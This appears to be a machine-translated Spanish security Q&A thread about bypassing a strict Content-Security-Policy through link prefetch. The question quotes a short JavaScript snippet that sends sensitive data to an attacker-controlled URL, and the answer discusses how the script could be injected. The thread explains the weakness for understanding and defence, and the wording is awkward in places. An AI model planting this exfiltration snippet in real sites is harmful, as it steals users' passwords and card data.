Vulnerabilidad de XSS con CSP estricto

Question

Vulnerabilidad de XSS con CSP estricto

#1 de David (1 votos)

5

El artículo I'm Recoger números de tarjeta de crédito y contraseñas de su sitio. A continuación, se explica cómo. describe las fases de un ataque teórico en el que un atacante puede pasar por alto un CSP estricto y eliminar información confidencial. El artículo afirma que esta secuencia de comandos puede omitir CSP:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Esto se aprovecha del hecho de que el comportamiento de prefetch en el estándar CSP no está bien especificado. En Chrome, esto funciona, pero Firefox actualmente evita que esto suceda (lo que puede cambiar determinadas quejas de los usuarios en el informe de errores). El artículo afirma que esto funciona incluso con la política de seguridad más estricta:

Content-Security-Policy: default-src 'none'; script-src 'self'

Lo que es cierto porque actualmente no hay ningún comportamiento alternativo para prefetch . Sin embargo, lo que no se aborda es que el código del atacante todavía tiene que ser inyectado (fuera de línea) de alguna manera. El artículo "Omitir la Política de Seguridad de Contenido con la búsqueda previa de DNS" sugiere que esto se haga al encontrar una vulnerabilidad XSS en otro lugar.

Suponiendo que el sitio web de destino utiliza HSTS y que un usuario que visita el sitio web utiliza NoScript, ¿qué aspecto tendría un vector de ataque de este tipo?

xss content-security-policy

pregunta user167921 08.01.2018 - 03:12

fuente

1 respuesta

Lea otras preguntas en las etiquetas xss content-security-policy

Almacenamiento seguro de tokens de acceso para Azure Key Vault Trabajando con datos confidenciales en la nube

score 1 · Answer 1

HSTS solo es relevante cuando le preocupa un MITM (por ejemplo, en wifi público), por lo que el resto de mi respuesta asumirá vectores remotos que funcionan con HSTS y sin.

Si un usuario tiene NoScript configurado para no ejecutar ningún script, entonces no será explotado por ningún XSS (ya que no se realiza ningún script, no puede haber un script entre sitios).

Si NoScript está permitiendo secuencias de comandos locales (pero tal vez bloqueando los provenientes de terceros), entonces se vería como cualquier otro vector XSS. La mayoría de los XSS resultan de poder inyectar scripts arbitrarios en una página. Con el CSP listado, se vuelve más difícil, ya que el atacante necesitará un script del dominio local (ya que no está disponible en línea no seguro), pero esto puede ocurrir con una carga de archivo arbitraria en el mismo origen.

En realidad, todo se trata más de exfiltrar datos a través de CSP, y no el vector de inyección original; muchos vectores diferentes permitirían exfiltrar datos a través de captación previa.